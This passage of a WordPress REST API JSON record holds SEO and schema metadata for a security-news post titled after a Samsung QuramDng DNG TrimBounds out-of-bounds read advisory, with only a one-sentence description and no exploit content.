redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41391","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:39&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds opcode triggers out-of-bounds reads...","og_url":"https:\/\/zero.redgem.net\/?p=41391","og_site_name":"zero redgem","article_published_time":"2026-02-18T11:48:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41391#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41391"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825","datePublished":"2026-02-18T11:48:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41391"},"wordCount":2080,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41391#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41391","url":"https:\/\/zero.redgem.net\/?p=41391","name":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-18T11:48:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41391#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41391"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41391#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Samsung QuramDng Malformed DNG TrimBounds Opcode Out\u2011Of\u2011Bounds Read_PACKETSTORM:215825"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41391","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41391"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41391\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}